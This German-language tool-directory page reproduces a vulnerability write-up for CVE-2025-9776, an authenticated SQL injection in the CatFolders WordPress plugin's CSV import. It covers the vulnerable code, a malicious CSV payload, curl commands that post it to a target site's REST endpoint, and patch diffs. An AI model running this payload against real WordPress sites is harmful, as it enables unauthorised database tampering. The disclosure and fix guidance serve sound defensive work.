Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress Plugin: Authentifizierte SQL-Injection über CSV-Import | POC + Walkthrough | Kitploit
Tools/GitHubGitHub/snailsploit/cve-2025-9776
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress Plugin: Authentifizierte SQL-Injection über CSV-Import | POC + Walkthrough

Repository anzeigen
18vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-9776: Authentifizierte SQL-Injection im CatFolders WordPress-Plugin

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Schlüsselwörter: CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025

Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Technische Analyse
  • Proof of Concept
  • Behebungsanleitung
  • CVSS-Metriken
  • Referenzen
  • Sicherheitskontakt

Überblick

Eine authentifizierte SQL-Injection-Schwachstelle wurde im CatFolders WordPress-Plugin entdeckt, die es Benutzern mit Autor-Rechten ermöglicht, Datenbankabfragen durch bösartige CSV-Importe zu manipulieren.

Entdeckt von: Kai Aizen (SnailSploit)
Veröffentlicht: 2025
CVSS-Score: 6.5 (Mittel)
CWE: CWE-89 - SQL-Injection

Schwachstellendetails

Beschreibung

CatFolders – Bändigen Sie Ihre WordPress-Medienbibliothek nach Kategorien enthält eine authentifizierte SQL-Injection-Schwachstelle in der CSV-Importfunktion. Die Spalte attachments aus einer vom Benutzer bereitgestellten CSV wird in eine Liste aufgeteilt und direkt an FolderModel::set_attachments() übergeben, das diese Werte ohne ordnungsgemäße Bereinigung oder Parametrisierung in rohe SQL IN (...)-Klauseln einfügt.

Auswirkung

Diese Schwachstelle erlaubt authentifizierten Angreifern mit Autor-Rechten Folgendes:

  • Ausführung beliebiger SQL-Abfragen
  • Massenhafte Löschung oder Manipulation von Ordner-Anhangs-Zuordnungen
  • Potenzielle Datenoffenlegung in Abhängigkeit von der Nutzlast und der Datenbankstruktur
  • Gefährdung der Datenbankintegrität und -verfügbarkeit

Betroffene Versionen

  • Verwundbar: Alle Versionen ≤ 2.5.2
  • Behoben: Version 2.5.3 und höher (beim Anbieter überprüfen)

CVSS v3.1-Metriken

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
MetrikWert
AngriffsvektorNetzwerk (AV:N)
AngriffskomplexitätNiedrig (AC:L)
Erforderliche BerechtigungenNiedrig (PR:L) - Autor+
BenutzerinteraktionKeine (UI:N)
AuswirkungsbereichUnverändert (S:U)
VertraulichkeitKeine (C:N)
IntegritätNiedrig (I:L)
VerfügbarkeitNiedrig (A:L)

Technische Details

Verwundbarer Codepfad

Die Schwachstelle befindet sich im CSV-Import-Workflow:

Datei: includes/Rest/Controllers/ImportController.php

  1. Die Methode import_csv parst hochgeladene CSV ohne feldweise Bereinigung
  2. restore_folders() ruft auf:
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

Datei: includes/Models/FolderModel.php

  1. set_attachments() erstellt rohes SQL durch Zeichenkettenverkettung:
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. Jedes Element wird nicht in eine Ganzzahl umgewandelt und nicht parametrisiert, was SQL-Injection ermöglicht

Angriffsvektor

Ein Angreifer mit Autor-Rechten (upload_files-Fähigkeit) kann bösartiges SQL über den CSV-Import-Endpunkt injizieren:

Schädliche CSV-Nutzlast:

id,name,attachments
1,Test Folder,"1) OR 1=1--"

Resultierende verwundbare Abfrage:

SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

Dies verlässt die IN(...)-Klausel und verändert die Abfragesemantik, was potenziell alle Zeilen betrifft.

Voraussetzungen

  • Autor-Konto (oder höher) auf der Ziel-WordPress-Seite
  • CatFolders-Plugin installiert und aktiv
  • Zugriff auf den REST-API-Import-Endpunkt

Proof of Concept

Schritt 1: REST-Namespace ermitteln

curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

Typisches Ergebnis: /catf/v1/import-csv

Schritt 2: Schädliche CSV vorbereiten

Erstellen Sie eine Datei namens catf_inject.csv:

id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

Schritt 3: Angriff ausführen

NS="/catf/v1"  # Durch den ermittelten Namespace ersetzen

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

Erwartete Antwort:

{ "success": true }

Auswirkungsdemonstration

Der Server erstellt und führt aus:

SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

Dies kann umfassendere DELETE/INSERT-Operationen als beabsichtigt ausführen und oft Ordner-Anhangs-Beziehungen in der gesamten Datenbank löschen.

Sichere Testumgebung

Führen Sie die eigenständige SQLite-Simulation aus, um die Schwachstelle sicher zu beobachten:

python3 poc/catfolders_sql_poc.py

Dies gibt die verwundbare Abfrage aus und zeigt, wie ein bösartiges Token alle Zeilen zurückgibt, während eine parametrisierte Version es korrekt ablehnt.

Behebung

Für Site-Administratoren

Sofortmaßnahme erforderlich:

  1. Aktualisieren Sie CatFolders auf Version 2.5.3 oder höher
  2. Überprüfen Sie Benutzerkonten mit Autor-Rechten oder höher
  3. Prüfen Sie Datenbankprotokolle auf verdächtige Abfragen zwischen den betroffenen Daten
  4. Überprüfen Sie Ordner-Anhangs-Zuordnungen auf unerwartete Änderungen

Für Entwickler

Zwei minimale Härtungsschritte:

1. IDs vor dem Aufruf des Modells bereinigen

- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. Ganzzahlen innerhalb von set_attachments() erzwingen

  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

Stärkere Empfehlung

Ersetzen Sie alle rohen SQL-Verkettungen durch parametrisierte Abfragen mit $wpdb->prepare() von WordPress:

$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

Zusätzlich:

  • Validieren Sie alle CSV-Felder vor der Verarbeitung streng
  • Implementieren Sie Eingabetypvalidierung auf API-Ebene
  • Fügen Sie Ratenbegrenzung zum Import-Endpunkt hinzu
  • Protokollieren Sie alle Importvorgänge für Prüfpfade

Patch-Datei

Ein vollständiger Patch ist in patch/catfolders_fix.patch verfügbar

Repository-Struktur

CVE-2025-9776/
├── README.md                    # Diese Datei
├── poc/
│   ├── catf_inject.csv         # Schädliche CSV-Nutzlast
│   └── catfolders_sql_poc.py   # Sichere SQLite-Simulation
└── patch/
    └── catfolders_fix.patch    # Empfohlene Korrekturen

Zeitplan

  • Entdeckungsdatum: 2025
  • Benachrichtigung des Herstellers: Koordinierte Offenlegung über Wordfence
  • Öffentliche Offenlegung: 2025
  • Patch verfügbar: Version 2.5.3

Referenzen

Tool herunterladen